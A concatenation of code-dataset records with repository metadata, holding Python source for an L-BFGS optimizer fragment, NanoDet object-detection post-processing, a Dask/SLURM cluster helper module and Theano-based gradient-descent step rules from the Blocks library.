np.memmap('LBFGS/S', mode='w+', dtype='float32', shape=(m, n)) Y = np.memmap('LBFGS/Y', mode='w+', dtype='float32', shape=(m, n)) kk = self.memory_used rh = np.zeros(kk) al = np.zeros(kk) for ii in range(kk): rh[ii] = 1/np.dot(Y[:,ii], S[:,ii]) al[ii] = rh[ii]*np.dot(S[:,ii], q) q = q - al[ii]*Y[:,ii] if self.precond: r = self.precond(q) else: r = q sty = np.dot(Y[:,0], S[:,0]) yty = np.dot(Y[:,0], Y[:,0]) r *= sty/yty for ii in range(kk-1, -1, -1): be = rh[ii]*np.dot(Y[:,ii], r) r = r + S[:,ii]*(al[ii] - be) return r def restart(self): """ Discards history and resets counters """ self.iter = 1 self.memory_used = 0 unix.cd(self.path) S = np.memmap('LBFGS/S', mode='r+') Y = np.memmap('LBFGS/Y', mode='r+') S[:] = 0. Y[:] = 0. def check_status(self, g, r): theta = 180.*np.pi**-1*angle(g,r) if not 0. < theta < 90.: print 'restarting LBFGS... [not a descent direction]' return 1 elif theta > 90. - self.thresh: print 'restarting LBFGS... [practical safeguard]' return 1 else: return 0

false

true

f7f351ce4c85a7fbdb7d364e2dcc2de337a984dd

4,264

py

Python

hailo_model_zoo/core/postprocessing/detection/nanodet.py

maxpark/hailo_model_zoo

94beb7d80ef56e5dfa9978c90486e45a73306c79

[ "MIT" ]

1

2022-02-19T01:21:17.000Z

hailo_model_zoo/core/postprocessing/detection/nanodet.py

maxpark/hailo_model_zoo

94beb7d80ef56e5dfa9978c90486e45a73306c79

[ "MIT" ]

null

hailo_model_zoo/core/postprocessing/detection/nanodet.py

maxpark/hailo_model_zoo

94beb7d80ef56e5dfa9978c90486e45a73306c79

[ "MIT" ]

null

import tensorflow as tf import numpy as np from tensorflow.image import combined_non_max_suppression from .centernet import COCO_2017_TO_2014_TRANSLATION class NanoDetPostProc: def __init__(self, img_dims=(416, 416), nms_iou_thresh=0.6, labels_offset=0, score_threshold=0.3, anchors=None, classes=80, **kwargs): self._num_classes = classes self._image_dims = img_dims self._nms_iou_thresh = nms_iou_thresh self._score_threshold = score_threshold self._strides = anchors.strides self.reg_max = anchors.regression_length self._labels_offset = labels_offset def _get_scores_boxes(self, endnodes): scores, boxes = [], [] for node in endnodes: fm_size_h, fm_size_w = node.shape[1:3] scores.append(tf.reshape(node[:, :, :, :self._num_classes], [-1, fm_size_h * fm_size_w, self._num_classes])) boxes.append(tf.reshape(node[:, :, :, self._num_classes:], [-1, fm_size_h * fm_size_w, 4, (self.reg_max + 1)])) return tf.concat(scores, axis=1), boxes def _box_decoding(self, raw_boxes): boxes = None for box_distribute, stride in zip(raw_boxes, self._strides): # create grid shape = [int(x / stride) for x in self._image_dims] grid_x = np.arange(shape[1]) grid_y = np.arange(shape[0]) grid_x, grid_y = np.meshgrid(grid_x, grid_y) ct_row = (grid_y.flatten() + 0.5) * stride ct_col = (grid_x.flatten() + 0.5) * stride center = np.stack((ct_col, ct_row, ct_col, ct_row), axis=1) # box distribution to distance reg_range = np.arange(self.reg_max + 1) box_distance = tf.nn.softmax(box_distribute, axis=-1) box_distance = box_distance * np.reshape(reg_range, (1, 1, 1, -1)) box_distance = tf.reduce_sum(box_distance, axis=-1) box_distance = box_distance * stride # decode box box_distance = tf.concat([box_distance[:, :, :2] * (-1), box_distance[:, :, 2:]], axis=-1) decode_box = np.expand_dims(center, axis=0) + box_distance # clipping xmin = tf.maximum(0.0, decode_box[:, :, 0]) / self._image_dims[1] ymin = tf.maximum(0.0, decode_box[:, :, 1]) / self._image_dims[0] xmax = tf.minimum(tf.cast(self._image_dims[1], tf.float32), decode_box[:, :, 2]) / self._image_dims[1] ymax = tf.minimum(tf.cast(self._image_dims[0], tf.float32), decode_box[:, :, 3]) / self._image_dims[0] decode_box = tf.transpose([ymin, xmin, ymax, xmax], [1, 2, 0]) boxes = decode_box if boxes is None else tf.concat([boxes, decode_box], axis=1) return tf.expand_dims(boxes, axis=2) def postprocessing(self, endnodes, **kwargs): scores, raw_boxes = self._get_scores_boxes(endnodes) # decode score/class scores = tf.sigmoid(scores) # decode boxes boxes = self._box_decoding(raw_boxes) # nms (nmsed_boxes, nmsed_scores, nmsed_classes, num_detections) = \ combined_non_max_suppression(boxes=boxes, scores=scores, score_threshold=self._score_threshold, iou_threshold=self._nms_iou_thresh, max_output_size_per_class=100, max_total_size=100) # adding offset to the class prediction and cast to integer def translate_coco_2017_to_2014(nmsed_classes): return np.vectorize(COCO_2017_TO_2014_TRANSLATION.get)(nmsed_classes).astype(np.int32) nmsed_classes = tf.cast(tf.add(nmsed_classes, self._labels_offset), tf.int16) [nmsed_classes] = tf.py_function(translate_coco_2017_to_2014, [nmsed_classes], ['int32']) nmsed_classes.set_shape((1, 100)) return {'detection_boxes': nmsed_boxes, 'detection_scores': nmsed_scores, 'detection_classes': nmsed_classes, 'num_detections': num_detections}

45.361702

114

0.594043

import tensorflow as tf import numpy as np from tensorflow.image import combined_non_max_suppression from .centernet import COCO_2017_TO_2014_TRANSLATION class NanoDetPostProc: def __init__(self, img_dims=(416, 416), nms_iou_thresh=0.6, labels_offset=0, score_threshold=0.3, anchors=None, classes=80, **kwargs): self._num_classes = classes self._image_dims = img_dims self._nms_iou_thresh = nms_iou_thresh self._score_threshold = score_threshold self._strides = anchors.strides self.reg_max = anchors.regression_length self._labels_offset = labels_offset def _get_scores_boxes(self, endnodes): scores, boxes = [], [] for node in endnodes: fm_size_h, fm_size_w = node.shape[1:3] scores.append(tf.reshape(node[:, :, :, :self._num_classes], [-1, fm_size_h * fm_size_w, self._num_classes])) boxes.append(tf.reshape(node[:, :, :, self._num_classes:], [-1, fm_size_h * fm_size_w, 4, (self.reg_max + 1)])) return tf.concat(scores, axis=1), boxes def _box_decoding(self, raw_boxes): boxes = None for box_distribute, stride in zip(raw_boxes, self._strides): shape = [int(x / stride) for x in self._image_dims] grid_x = np.arange(shape[1]) grid_y = np.arange(shape[0]) grid_x, grid_y = np.meshgrid(grid_x, grid_y) ct_row = (grid_y.flatten() + 0.5) * stride ct_col = (grid_x.flatten() + 0.5) * stride center = np.stack((ct_col, ct_row, ct_col, ct_row), axis=1) reg_range = np.arange(self.reg_max + 1) box_distance = tf.nn.softmax(box_distribute, axis=-1) box_distance = box_distance * np.reshape(reg_range, (1, 1, 1, -1)) box_distance = tf.reduce_sum(box_distance, axis=-1) box_distance = box_distance * stride box_distance = tf.concat([box_distance[:, :, :2] * (-1), box_distance[:, :, 2:]], axis=-1) decode_box = np.expand_dims(center, axis=0) + box_distance xmin = tf.maximum(0.0, decode_box[:, :, 0]) / self._image_dims[1] ymin = tf.maximum(0.0, decode_box[:, :, 1]) / self._image_dims[0] xmax = tf.minimum(tf.cast(self._image_dims[1], tf.float32), decode_box[:, :, 2]) / self._image_dims[1] ymax = tf.minimum(tf.cast(self._image_dims[0], tf.float32), decode_box[:, :, 3]) / self._image_dims[0] decode_box = tf.transpose([ymin, xmin, ymax, xmax], [1, 2, 0]) boxes = decode_box if boxes is None else tf.concat([boxes, decode_box], axis=1) return tf.expand_dims(boxes, axis=2) def postprocessing(self, endnodes, **kwargs): scores, raw_boxes = self._get_scores_boxes(endnodes) scores = tf.sigmoid(scores) boxes = self._box_decoding(raw_boxes) (nmsed_boxes, nmsed_scores, nmsed_classes, num_detections) = \ combined_non_max_suppression(boxes=boxes, scores=scores, score_threshold=self._score_threshold, iou_threshold=self._nms_iou_thresh, max_output_size_per_class=100, max_total_size=100) def translate_coco_2017_to_2014(nmsed_classes): return np.vectorize(COCO_2017_TO_2014_TRANSLATION.get)(nmsed_classes).astype(np.int32) nmsed_classes = tf.cast(tf.add(nmsed_classes, self._labels_offset), tf.int16) [nmsed_classes] = tf.py_function(translate_coco_2017_to_2014, [nmsed_classes], ['int32']) nmsed_classes.set_shape((1, 100)) return {'detection_boxes': nmsed_boxes, 'detection_scores': nmsed_scores, 'detection_classes': nmsed_classes, 'num_detections': num_detections}

true

f7f351e2c56e7fd84257939f5c04a38d1e4c7ea7

6,383

py

Python

enstools/core/cluster.py

wavestoweather/enstools

d0f612b0187b0ad54dfbbb78aa678564f46eaedf

[ "Apache-2.0" ]

5

2021-12-16T14:08:00.000Z

2022-03-02T14:08:10.000Z

enstools/core/cluster.py

wavestoweather/enstools

d0f612b0187b0ad54dfbbb78aa678564f46eaedf

[ "Apache-2.0" ]

null

enstools/core/cluster.py

wavestoweather/enstools

d0f612b0187b0ad54dfbbb78aa678564f46eaedf

[ "Apache-2.0" ]

null

""" functions used to create dask-clusters automatically based on the environment a script is executed in. """ import os import sys import dask import distributed import multiprocessing from .tempdir import TempDir from .batchjob import get_batch_job, _get_num_available_procs import atexit import logging from time import sleep # storage the batchjob object batchjob_object = None # adapt some settings for dask from distributed.config import config config["connect-timeout"] = "30" # increase the connect-timeout from 3 to 10s def init_cluster(ntasks=None, extend=False): """ Create a Dask.distributed cluster and return the client object. The type of the cluster is automatically selected based on the environment of the script. Inside of a SLURM job, a distributed Cluster is created. All allocated resources are used for this purpose. Without a job scheduler like SLURM, a LocalCluster is created. Parameters ---------- ntasks : int the number of tasks (threads or processes) to start. extend : bool launch workers in a separate slurm jobs or not Returns ------- distributed.Client a client object usable to submit computations to the new cluster. """ # In case of requesting an extension of the available resources through asking for more workers through SlurmCluster # check that the sbatch command its present in the system and call init_slurm_cluster() logging.debug("Starting cluster") if extend == True and check_sbatch_availability(): job_id = os.getenv("SLURM_JOB_ID") if job_id is None: logging.info("Launching new workers through SLURM.") else: logging.info("Launching new workers through SLURM even do we already are inside a SLURM job with ID %s" % job_id) return init_slurm_cluster(nodes=ntasks) # create a temporal directory for the work log files tmpdir = TempDir(cleanup=False) # figure out which type of cluster to create global batchjob_object batchjob_object = get_batch_job(local_dir=tmpdir.getpath(), ntasks=ntasks) # start the distributed cluster prepared by the command above batchjob_object.start() return batchjob_object.get_client() def init_slurm_cluster(nodes=1, tmp_dir="/dev/shm/"): """ # Submiting DASK workers to a Slurm cluster. Need to merge it with the init_cluster in enstools.core Parameters ---------- nodes : int number of nodes """ from dask.distributed import Client from dask_jobqueue import SLURMCluster # Define the kind of jobs that will be launched to the cluster # This will apply for each one of the different jobs sent cluster = SLURMCluster( cores=12, memory="24 GB", queue="cluster", local_directory=tmp_dir, #silence_logs="debug", ) # Start workers cluster.scale(jobs=nodes) client = Client(cluster) logging.info("You can follow the dashboard in the following link:\n%s" % client.dashboard_link) # client.wait_for_workers(nodes) return client def get_num_available_procs(): """ Get the number of processes available for parallel execution of tasks. If a distributed cluster was started before, then the number of workers within this cluster is returned. Otherwise the number of physical processors on the local computer. If OMP_NUM_THREADS is defined, it's value will be used! Returns ------- int : number of processors. """ if batchjob_object is not None: return batchjob_object.ntasks else: return _get_num_available_procs() def get_client_and_worker(): """ This function can be used the get dask distributed client and worker objects. Returns ------- tuple : (None, None): when called without dask cluster running (client, None) when called on a non-worker process (client, worker) when called on a worker process """ try: client = distributed.get_client() logging.debug("get_client_and_worker: client object found!") except ValueError: client = None logging.debug("get_client_and_worker: not running in a dask cluster!") if client is not None: try: worker = distributed.get_worker() logging.debug("get_client_and_worker: worker object found!") except ValueError: worker = None logging.debug("get_client_and_worker: not running inside of a worker process!") else: worker = None return client, worker def all_workers_are_local(client): """ Use the client the get information about the workers. Returns ------- bool : True is all workers are running on local host """ workers = list(client.scheduler_info()['workers']) for worker in workers: if not worker.startswith("tcp://127.0.0.1:"): return False return True class RoundRobinWorkerIterator(): def __init__(self, client): """ an iterator that iterates over and over over all workers Parameters ---------- client : distributed.client the client object of which the worker should be utilised. """ workers = list(client.scheduler_info()['workers']) self.workers = list(map(lambda x: tuple(x.replace("tcp://", "").rsplit(":", 1)), workers)) self.index = 0 def __iter__(self): return self def next(self): next = self.workers[self.index] # type: tuple self.index += 1 if self.index == len(self.workers): self.index = 0 return next def check_sbatch_availability(): """ Function that checks that sbatch command can be reached in the system. It launches the sbatch version command and checks that the return code its 0. """ from subprocess import run, PIPE, CalledProcessError command = "sbatch --version" arguments = command.split() result = run(arguments, stdout=PIPE) try: result.check_returncode() return True except CalledProcessError: logging.warning("Sbatch its not available, won't start an additional cluster.") return False

32.237374

120

0.663168

import os import sys import dask import distributed import multiprocessing from .tempdir import TempDir from .batchjob import get_batch_job, _get_num_available_procs import atexit import logging from time import sleep batchjob_object = None from distributed.config import config config["connect-timeout"] = "30" def init_cluster(ntasks=None, extend=False): logging.debug("Starting cluster") if extend == True and check_sbatch_availability(): job_id = os.getenv("SLURM_JOB_ID") if job_id is None: logging.info("Launching new workers through SLURM.") else: logging.info("Launching new workers through SLURM even do we already are inside a SLURM job with ID %s" % job_id) return init_slurm_cluster(nodes=ntasks) tmpdir = TempDir(cleanup=False) global batchjob_object batchjob_object = get_batch_job(local_dir=tmpdir.getpath(), ntasks=ntasks) batchjob_object.start() return batchjob_object.get_client() def init_slurm_cluster(nodes=1, tmp_dir="/dev/shm/"): from dask.distributed import Client from dask_jobqueue import SLURMCluster cluster = SLURMCluster( cores=12, memory="24 GB", queue="cluster", local_directory=tmp_dir, ) cluster.scale(jobs=nodes) client = Client(cluster) logging.info("You can follow the dashboard in the following link:\n%s" % client.dashboard_link) return client def get_num_available_procs(): if batchjob_object is not None: return batchjob_object.ntasks else: return _get_num_available_procs() def get_client_and_worker(): try: client = distributed.get_client() logging.debug("get_client_and_worker: client object found!") except ValueError: client = None logging.debug("get_client_and_worker: not running in a dask cluster!") if client is not None: try: worker = distributed.get_worker() logging.debug("get_client_and_worker: worker object found!") except ValueError: worker = None logging.debug("get_client_and_worker: not running inside of a worker process!") else: worker = None return client, worker def all_workers_are_local(client): workers = list(client.scheduler_info()['workers']) for worker in workers: if not worker.startswith("tcp://127.0.0.1:"): return False return True class RoundRobinWorkerIterator(): def __init__(self, client): workers = list(client.scheduler_info()['workers']) self.workers = list(map(lambda x: tuple(x.replace("tcp://", "").rsplit(":", 1)), workers)) self.index = 0 def __iter__(self): return self def next(self): next = self.workers[self.index] self.index += 1 if self.index == len(self.workers): self.index = 0 return next def check_sbatch_availability(): from subprocess import run, PIPE, CalledProcessError command = "sbatch --version" arguments = command.split() result = run(arguments, stdout=PIPE) try: result.check_returncode() return True except CalledProcessError: logging.warning("Sbatch its not available, won't start an additional cluster.") return False

true

f7f352749009738976e31875512ed3bb30d05907

32,740

py

Python

libs/blocks/blocks/algorithms/__init__.py

dendisuhubdy/twinnet-asr

799220d682306467a2b401e42e788f8c33382b00

[ "MIT" ]

11

2018-09-18T07:48:43.000Z

2020-06-27T07:20:19.000Z

libs/blocks/blocks/algorithms/__init__.py

dendisuhubdy/twinnet-asr

799220d682306467a2b401e42e788f8c33382b00

[ "MIT" ]

null

libs/blocks/blocks/algorithms/__init__.py

dendisuhubdy/twinnet-asr

799220d682306467a2b401e42e788f8c33382b00

[ "MIT" ]

5

2018-04-11T03:09:17.000Z

2020-04-07T12:19:31.000Z

"""Training algorithms.""" import logging import itertools from abc import ABCMeta, abstractmethod from collections import OrderedDict from six.moves import reduce from picklable_itertools.extras import equizip import theano from six import add_metaclass from theano import tensor from blocks.graph import ComputationGraph from blocks.roles import add_role, ALGORITHM_HYPERPARAMETER, ALGORITHM_BUFFER from blocks.theano_expressions import l2_norm from blocks.utils import (dict_subset, pack, shared_floatx, shared_floatx_zeros_matching) logger = logging.getLogger(__name__) def _create_algorithm_buffer_for(param, *args, **kwargs): buf = shared_floatx_zeros_matching(param, *args, **kwargs) buf.tag.for_parameter = param add_role(buf, ALGORITHM_BUFFER) return buf @add_metaclass(ABCMeta) class TrainingAlgorithm(object): """Base class for training algorithms. A training algorithm object has a simple life-cycle. First it is initialized by calling its :meth:`initialize` method. At this stage, for instance, Theano functions can be compiled. After that the :meth:`process_batch` method is repeatedly called with a batch of training data as a parameter. """ @abstractmethod def initialize(self, **kwargs): """Initialize the training algorithm.""" pass @abstractmethod def process_batch(self, batch): """Process a batch of training data. Attributes ---------- batch : dict A dictionary of (source name, data) pairs. """ pass class DifferentiableCostMinimizer(TrainingAlgorithm): """Minimizes a differentiable cost given as a Theano expression. Very often the goal of training is to minimize the expected value of a Theano expression. Batch processing in this cases typically consists of running a (or a few) Theano functions. :class:`DifferentiableCostMinimizer` is the base class for such algorithms. Parameters ---------- cost : :class:`~tensor.TensorVariable` The objective to be minimized. parameters : list of :class:`~tensor.TensorSharedVariable` The parameters to be tuned. Attributes ---------- updates : list of :class:`~tensor.TensorSharedVariable` updates Updates to be done for every batch. It is required that the updates are done using the old values of optimized parameters. cost : :class:`~tensor.TensorVariable` The objective to be minimized. parameters : list of :class:`~tensor.TensorSharedVariable` The parameters to be tuned. Notes ----- Changing `updates` attribute or calling `add_updates` after the `initialize` method is called will have no effect. .. todo:: Some shared variables are not parameters (e.g. those created by random streams). .. todo:: Due to a rather premature status of the :class:`ComputationGraph` class the parameter used only inside scans are not fetched currently. """ def __init__(self, cost, parameters): self.cost = cost self.parameters = parameters self._cost_computation_graph = ComputationGraph(self.cost) self._updates = [] @property def inputs(self): """Return inputs of the cost computation graph. Returns ------- inputs : list of :class:`~tensor.TensorVariable` Inputs to this graph. """ return self._cost_computation_graph.inputs @property def updates(self): return self._updates @updates.setter def updates(self, value): self._updates = value def add_updates(self, updates): """Add updates to the training process. The updates will be done _before_ the parameters are changed. Parameters ---------- updates : list of tuples or :class:`~collections.OrderedDict` The updates to add. """ if isinstance(updates, OrderedDict): updates = list(updates.items()) if not isinstance(updates, list): raise ValueError self.updates.extend(updates) variable_mismatch_error = """ Blocks tried to match the sources ({sources}) of the training dataset to \ the names of the Theano variables ({variables}), but failed to do so. \ If you want to train on a subset of the sources that your dataset provides, \ pass the `sources` keyword argument to its constructor. Or pass \ on_unused_sources='warn' or on_unused_sources='ignore' to \ the GradientDescent algorithm.""" source_missing_error = """ Blocks didn't find all the sources ({sources}) of the training dataset \ that match the names of the Theano variables ({variables}).""" class GradientDescent(DifferentiableCostMinimizer): """A base class for all gradient descent algorithms. By "gradient descent" we mean a training algorithm of the following form: .. code-block:: python for batch in data: steps = step_rule.compute_steps(parameters, gradients_wr_parameters) for parameter in parameters: parameter -= steps[parameter] Note, that the step is *subtracted, not added*! This is done in order to make step rule chaining possible. Parameters ---------- step_rule : instance of :class:`StepRule`, optional An object encapsulating most of the algorithm's logic. Its `compute_steps` method is called to get Theano expression for steps. Note, that the step rule might have a state, e.g. to remember a weighted sum of gradients from previous steps like it is done in gradient descent with momentum. If ``None``, an instance of :class:`Scale` is created. gradients : dict, optional A dictionary mapping a parameter to an expression for the cost's gradient with respect to the parameter. If ``None``, the gradient are taken automatically using :func:`theano.gradient.grad`. known_grads : dict, optional A passthrough to `theano.tensor.grad`'s `known_grads` argument. Useful when you know the [approximate] gradients of some sub-expressions and would like Theano to use that information to compute parameter gradients. Only makes sense when `gradients` is `None`. consider_constant : list, optional A passthrough to `theano.tensor.grad`'s `consider_constant` argument. A list of expressions through which gradients will not be backpropagated. Only makes sense when `gradients` is `None`. on_unused_sources : str, one of 'raise' (default), 'ignore', 'warn' Controls behavior when not all sources are used. theano_func_kwargs : dict, optional A passthrough to `theano.function` for additional arguments. Useful for passing `profile` or `mode` arguments to the theano function that will be compiled for the algorithm. Attributes ---------- gradients : dict The gradient dictionary. step_rule : instance of :class:`StepRule` The step rule. """ def __init__(self, step_rule=None, gradients=None, known_grads=None, consider_constant=None, on_unused_sources='raise', theano_func_kwargs=None, **kwargs): if gradients: kwargs.setdefault("parameters", gradients.keys()) super(GradientDescent, self).__init__(**kwargs) self.gradients = gradients if not self.gradients: logger.info("Taking the cost gradient") self.gradients = dict( equizip(self.parameters, tensor.grad( self.cost, self.parameters, known_grads=known_grads, consider_constant=consider_constant))) logger.info("The cost gradient computation graph is built") else: if known_grads: raise ValueError("known_grads has no effect when gradients " "are passed in") if consider_constant is not None: raise ValueError("consider_constant has no effect when " "gradients are passed in") self.step_rule = step_rule if step_rule else Scale() self.total_gradient_norm = l2_norm( self.gradients.values()).copy(name="total_gradient_norm") self.steps, self.step_rule_updates = ( self.step_rule.compute_steps(self.gradients)) self.total_step_norm = l2_norm( self.steps.values()).copy(name="total_step_norm") self.on_unused_sources = on_unused_sources self.theano_func_kwargs = (theano_func_kwargs if theano_func_kwargs is not None else dict()) def initialize(self): logger.info("Initializing the training algorithm") all_updates = self.updates # Note: the gradients are computed in the same order in which # the parameters were given. Keep it like that to ensure # reproducibility. for parameter in self.parameters: all_updates.append((parameter, parameter - self.steps[parameter])) all_updates += self.step_rule_updates self._function = theano.function( self.inputs, [], updates=all_updates, **self.theano_func_kwargs) logger.info("The training algorithm is initialized") def _validate_source_names(self, batch): in_names = [v.name for v in self.inputs] if not set(in_names).issubset(set(batch.keys())): raise ValueError("Didn't find all sources: " + source_missing_error.format( sources=batch.keys(), variables=in_names)) if not set(batch.keys()).issubset(set(in_names)): if self.on_unused_sources == 'ignore': pass elif self.on_unused_sources == 'warn': if not hasattr(self, '_unused_source_warned'): logger.warn(variable_mismatch_error.format( sources=batch.keys(), variables=in_names)) self._unused_source_warned = True elif self.on_unused_sources == 'raise': raise ValueError( "mismatch of variable names and data sources" + variable_mismatch_error.format( sources=batch.keys(), variables=in_names)) else: raise ValueError("Wrong value of on_unused_sources: {}." .format(self.on_unused_sources)) def process_batch(self, batch): self._validate_source_names(batch) ordered_batch = [batch[v.name] for v in self.inputs] self._function(*ordered_batch) @add_metaclass(ABCMeta) class StepRule(object): """A rule to compute steps for a gradient descent algorithm.""" def compute_step(self, parameter, previous_step): """Build a Theano expression for the step for a parameter. This method is called by default implementation of :meth:`compute_steps`, it relieves from writing a loop each time. Parameters ---------- parameter : :class:`~tensor.TensorSharedVariable` The parameter. previous_step : :class:`~tensor.TensorVariable` Some quantity related to the gradient of the cost with respect to the parameter, either the gradient itself or a step in a related direction. Returns ------- step : :class:`~theano.Variable` Theano variable for the step to take. updates : list A list of tuples representing updates to be performed. This is useful for stateful rules such as :class:`Momentum` which need to update shared variables after itetations. """ raise NotImplementedError def compute_steps(self, previous_steps): """Build a Theano expression for steps for all parameters. Override this method if you want to process the steps with respect to all parameters as a whole, not parameter-wise. Parameters ---------- previous_steps : OrderedDict An :class:`~OrderedDict` of (:class:`~tensor.TensorSharedVariable` :class:`~tensor.TensorVariable`) pairs. The keys are the parameters being trained, the values are the expressions for quantities related to gradients of the cost with respect to the parameters, either the gradients themselves or steps in related directions. Returns ------- steps : OrderedDict A dictionary of the proposed steps in the same form as `previous_steps`. updates : list A list of tuples representing updates to be performed. """ parameter_wise = [self.compute_step(parameter, previous_steps[parameter]) for parameter in previous_steps] steps, updates = equizip(*parameter_wise) steps = OrderedDict((parameter, step) for parameter, step in equizip(previous_steps.keys(), steps)) updates = list(itertools.chain(*updates)) return steps, updates class CompositeRule(StepRule): """Chains several step rules. Parameters ---------- components : list of :class:`StepRule` The learning rules to be chained. The rules will be applied in the order as given. """ def __init__(self, components): self.components = components def compute_steps(self, previous_steps): steps = previous_steps updates = [] for rule in self.components: steps, more_updates = rule.compute_steps(steps) updates += more_updates return steps, updates class Scale(StepRule): """A step in the direction proportional to the previous step. If used in :class:`GradientDescent` alone, this step rule implements steepest descent. Parameters ---------- learning_rate : float The learning rate by which the previous step is multiplied to produce the step. Attributes ---------- learning_rate : :class:`~tensor.TensorSharedVariable` The shared variable storing the learning rate used. """ def __init__(self, learning_rate=1.0): self.learning_rate = shared_floatx(learning_rate, "learning_rate") add_role(self.learning_rate, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): return self.learning_rate * previous_step, [] class BasicMomentum(StepRule): """Accumulates step with exponential discount. Parameters ---------- momentum : float, optional The momentum coefficient. Defaults to 0. Notes ----- This step rule is intended to be used in conjunction with another step rule, _e.g._ :class:`Scale`. For an all-batteries-included experience, look at :class:`Momentum`. """ def __init__(self, momentum=0.): self.momentum = shared_floatx(momentum, "momentum") add_role(self.momentum, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): velocity = _create_algorithm_buffer_for(parameter, "velocity") step = self.momentum * velocity + previous_step updates = [(velocity, step)] return step, updates class Momentum(CompositeRule): """Accumulates step with exponential discount. Combines :class:`BasicMomentum` and :class:`Scale` to form the usual momentum step rule. Parameters ---------- learning_rate : float, optional The learning rate by which the previous step scaled. Defaults to 1. momentum : float, optional The momentum coefficient. Defaults to 0. Attributes ---------- learning_rate : :class:`~tensor.SharedVariable` A variable for learning rate. momentum : :class:`~tensor.SharedVariable` A variable for momentum. See Also -------- :class:`SharedVariableModifier` """ def __init__(self, learning_rate=1.0, momentum=0.): scale = Scale(learning_rate=learning_rate) basic_momentum = BasicMomentum(momentum=momentum) self.learning_rate = scale.learning_rate self.momentum = basic_momentum.momentum self.components = [scale, basic_momentum] class AdaDelta(StepRule): """Adapts the step size over time using only first order information. Parameters ---------- decay_rate : float, optional Decay rate in [0, 1]. Defaults to 0.95. epsilon : float, optional Stabilizing constant for RMS. Defaults to 1e-6. Notes ----- For more information, see [ADADELTA]_. .. [ADADELTA] Matthew D. Zeiler, *ADADELTA: An Adaptive Learning Rate Method*, arXiv:1212.5701. """ def __init__(self, decay_rate=0.95, epsilon=1e-6): if not 0.0 <= decay_rate <= 1.0: raise ValueError("decay rate needs to be in [0, 1]") self.decay_rate = shared_floatx(decay_rate, "decay_rate") add_role(self.decay_rate, ALGORITHM_HYPERPARAMETER) self.epsilon = shared_floatx(epsilon, "epsilon") add_role(self.epsilon, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): mean_square_step_tm1 = _create_algorithm_buffer_for( parameter, "mean_square_step_tm1") mean_square_delta_x_tm1 = _create_algorithm_buffer_for( parameter, "mean_square_delta_x_tm1") mean_square_step_t = ( self.decay_rate * mean_square_step_tm1 + (1 - self.decay_rate) * tensor.sqr(previous_step) ) rms_delta_x_tm1 = tensor.sqrt(mean_square_delta_x_tm1 + self.epsilon) rms_step_t = tensor.sqrt(mean_square_step_t + self.epsilon) delta_x_t = rms_delta_x_tm1 / rms_step_t * previous_step mean_square_delta_x_t = ( self.decay_rate * mean_square_delta_x_tm1 + (1 - self.decay_rate) * tensor.sqr(delta_x_t) ) step = delta_x_t updates = [(mean_square_step_tm1, mean_square_step_t), (mean_square_delta_x_tm1, mean_square_delta_x_t)] return step, updates class BasicRMSProp(StepRule): """Scales the step size by a running average of the recent step norms. Parameters ---------- decay_rate : float, optional How fast the running average decays, value in [0, 1] (lower is faster). Defaults to 0.9. max_scaling : float, optional Maximum scaling of the step size, in case the running average is really small. Needs to be greater than 0. Defaults to 1e5. Notes ----- This step rule is intended to be used in conjunction with another step rule, _e.g._ :class:`Scale`. For an all-batteries-included experience, look at :class:`RMSProp`. In general, this step rule should be used _before_ other step rules, because it has normalization properties that may undo their work. For instance, it should be applied first when used in conjunction with :class:`Scale`. For more information, see [Hint2014]_. """ def __init__(self, decay_rate=0.9, max_scaling=1e5): if not 0.0 <= decay_rate <= 1.0: raise ValueError("decay rate needs to be in [0, 1]") if max_scaling <= 0: raise ValueError("max. scaling needs to be greater than 0") self.decay_rate = shared_floatx(decay_rate, "decay_rate") add_role(self.decay_rate, ALGORITHM_HYPERPARAMETER) self.epsilon = 1. / max_scaling def compute_step(self, parameter, previous_step): mean_square_step_tm1 = _create_algorithm_buffer_for( parameter, "mean_square_step_tm1") mean_square_step_t = ( self.decay_rate * mean_square_step_tm1 + (1 - self.decay_rate) * tensor.sqr(previous_step)) rms_step_t = tensor.maximum( tensor.sqrt(mean_square_step_t), self.epsilon) step = previous_step / rms_step_t updates = [(mean_square_step_tm1, mean_square_step_t)] return step, updates class RMSProp(CompositeRule): """Scales the step size by a running average of the recent step norms. Combines :class:`BasicRMSProp` and :class:`Scale` to form the step rule described in [Hint2014]_. .. [Hint2014] Geoff Hinton, *Neural Networks for Machine Learning*, lecture 6a, http://cs.toronto.edu/~tijmen/csc321/slides/lecture_slides_lec6.pdf Parameters ---------- learning_rate : float, optional The learning rate by which the previous step scaled. Defaults to 1. decay_rate : float, optional How fast the running average decays (lower is faster). Defaults to 0.9. max_scaling : float, optional Maximum scaling of the step size, in case the running average is really small. Defaults to 1e5. Attributes ---------- learning_rate : :class:`~tensor.SharedVariable` A variable for learning rate. decay_rate : :class:`~tensor.SharedVariable` A variable for decay rate. See Also -------- :class:`SharedVariableModifier` """ def __init__(self, learning_rate=1.0, decay_rate=0.9, max_scaling=1e5): basic_rms_prop = BasicRMSProp(decay_rate=decay_rate, max_scaling=max_scaling) scale = Scale(learning_rate=learning_rate) self.learning_rate = scale.learning_rate self.decay_rate = basic_rms_prop.decay_rate self.components = [basic_rms_prop, scale] class StepClipping(StepRule): """Rescales an entire step if its L2 norm exceeds a threshold. When the previous steps are the gradients, this step rule performs gradient clipping. Parameters ---------- threshold : float, optional The maximum permitted L2 norm for the step. The step will be rescaled to be not higher than this quanity. If ``None``, no rescaling will be applied. Attributes ---------- threshold : :class:`.tensor.TensorSharedVariable` The shared variable storing the clipping threshold used. """ def __init__(self, threshold=None): if threshold: self.threshold = shared_floatx(threshold, "threshold") add_role(self.threshold, ALGORITHM_HYPERPARAMETER) def compute_steps(self, previous_steps): if not hasattr(self, 'threshold'): return previous_steps norm = l2_norm(previous_steps.values()) multiplier = tensor.switch(norm < self.threshold, 1, self.threshold / norm) steps = OrderedDict( (parameter, step * multiplier) for parameter, step in previous_steps.items()) return steps, [] class VariableClipping(StepRule): """Clip the maximum norm of individual variables along certain axes. This :class:`StepRule` can be used to implement L2 norm constraints on e.g. the weight vectors of individual hidden units, convolutional filters or entire weight tensors. Combine with :class:`Restrict` (and possibly :class:`CompositeRule`), to apply such constraints only to certain variables and/or apply different norm constraints to different variables. Parameters ---------- threshold : float Maximum norm for a given (portion of a) tensor. axis : int or iterable, optional An integer single axis, or an iterable collection of integer 